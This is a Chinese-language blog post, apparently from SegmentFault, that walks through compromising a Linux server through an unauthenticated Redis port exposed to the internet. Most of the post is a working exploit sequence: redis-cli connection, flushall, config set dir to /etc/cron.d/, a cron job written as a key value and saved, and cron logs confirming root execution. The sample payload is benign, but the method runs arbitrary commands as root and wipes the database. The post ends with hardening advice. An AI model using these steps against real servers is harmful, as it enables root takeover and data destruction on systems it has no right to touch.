说明

利用redis端口暴露公网,且没有设置密码,能轻松入侵linux 服务器。

原理

远程连接redis,修改redis数据目录及文件为linux计划任务的目录,设置xx 键的值为计划任务,save数据后将会把该值写入计划任务文件,计划任务命令中可以执行任意脚本。

入侵演示

#### 1. 编译安装并配置
redis免密码,允许外部连接。主要修改以下参数,其他参数默认即可

bind 0.0.0.0  #允许所有ip连接
protected-mode no  # 关闭保护模式
daemonize yes #后台运行
# redis安装后默认配置是免密码的

#### 2. 启动redis

# 这里是root直接启动,入侵后就得到了root权限
/usr/local/redis/bin/redis-server redis.conf

#### 3. 入侵
##### 3.0 连接redis
使用redis-cli工具直接连接redis

redis-cli -h jiankongshuo.com -p 6379

##### 3.1 清空redis所有数据

flushall 

##### 3.2 修改redis 数据目录
这里设置为计划任务子目录

config set dir "/etc/cron.d/"

##### 3.3 修改dbfilename

config set dbfilename imin

##### 3.4 设置键值并保存

set test "\n*/1 * * * * root echo 'HaHa,I am in!'>/root/redis\n"
save

##### 3.5 验证是否写入计划任务文件

cat /etc/cron.d/imin
REDIS0009    redis-ver5.0.7
redis-bits󿿀򳨭escused-mem 
𮤭preamble~󃳥st3
*/1 * * * * root echo 'HaHa,I am in!'>/root/redis

乱码及上面的redis信息不用管,计划任务会执行
##### 3.6 验证计划任务是否执行

tail -1f /var/log/cron 
Mar  7 11:34:01 jiankongshuo CROND[10348]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:35:01 jiankongshuo CROND[10352]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:36:01 jiankongshuo CROND[10354]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)
Mar  7 11:37:01 jiankongshuo CROND[10356]: (root) CMD (echo 'HaHa,I am in!'>/root/redis)

##### 3.7 验证计划命令结果

 cat  /root/redis
 HaHa,I am in!

至此,redis入侵演示完毕。
环境说明

  1. 操作系统 CentOS8
  2. redis 编译参数 make install PREFIX=/usr/local/redis
  3. redis版本Redis server v=5.0.7

特殊说明
使用yum安装的redis (也是root启动)不会有这个问题,文件一直被限制在/var/lib/redis 下面。 而自己编译安装进行攻击,目前我还不清楚yum安装的是否有其他编译参数限制了redis的数据目录,从而更加安全。
最后,请大家务必关闭redis的外网访问,切一定要设置redis强密码。

参考 https://blog.csdn.net/kouryou...

如果你觉得本文对你有所帮助,欢迎关注!
https://segmentfault.com/img/bVbAYdT/view

在这里插入图片描述


sawyerlan
3 声望1 粉丝